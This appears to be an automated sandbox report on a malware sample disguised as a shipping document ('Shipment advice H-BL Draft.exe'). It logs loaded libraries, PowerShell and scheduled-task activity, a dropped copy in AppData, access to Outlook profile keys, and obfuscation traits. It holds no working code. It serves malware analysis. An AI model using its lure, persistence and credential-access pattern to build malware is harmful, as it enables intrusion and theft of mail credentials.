Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Shipment advice H-BL Draft.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Shipment advice H-BL Draft.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, NA6WibgODSO7bBliZq.cs

.Net Code: pjllxlRJ8W System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_016E5E00 pushad ; iretd	0_2_016E5E09
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C60962 push DC05D175h; retf 0175h	0_2_07C60A15
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07CC06F0 push esp; retf 07BAh	0_2_07CC06FD
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07CC22F8 push eax; retf	0_2_07CC2315
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280891E pushad ; iretd	13_2_0280891F
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_02808C2F pushfd ; iretd	13_2_02808C30
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_02808DDF push esp; iretd	13_2_02808DE0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06698909 push es; ret	13_2_06698920
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 14_2_07781520 push eax; retf	14_2_0778153D
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 14_2_0778043B push esp; retf 05A7h	14_2_07780445
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148891E pushad ; iretd	18_2_0148891F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01488DDF push esp; iretd	18_2_01488DE0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01488C2F pushfd ; iretd	18_2_01488C30

Source: Shipment advice H-BL Draft.exe	Static PE information: section name: .text entropy: 7.8833215409501465
Source: PrcGlGVKeUCXxg.exe.0.dr	Static PE information: section name: .text entropy: 7.8833215409501465

Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, ixWiGNeOm65DW7eSpN.cs	High entropy of concatenated method names: 'hjGRsGPqCl', 'owuRHLjDpF', 'q1ZZyFmTWm', 'J4qZhCMx0V', 'MB9Z6B6aMY', 'gK6ZIVSYhX', 'ebYZNdOawB', 'qVnZGiEFKc', 'Ql0ZJjnKMn', 'C7qZn2G4P7'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, GOqrpMYiJDTShMREFi.cs	High entropy of concatenated method names: 'qWdTU8m9Pt', 'vRmTuBu4G9', 'VROTyGOIqk', 'EaNThLvYyh', 'jEOT61SyYh', 'w2eTIZnbx2', 'Tc8TN9m8qZ', 'WMhTGlNKCx', 'LauTJliqrv', 'Ai0TnSyri1'
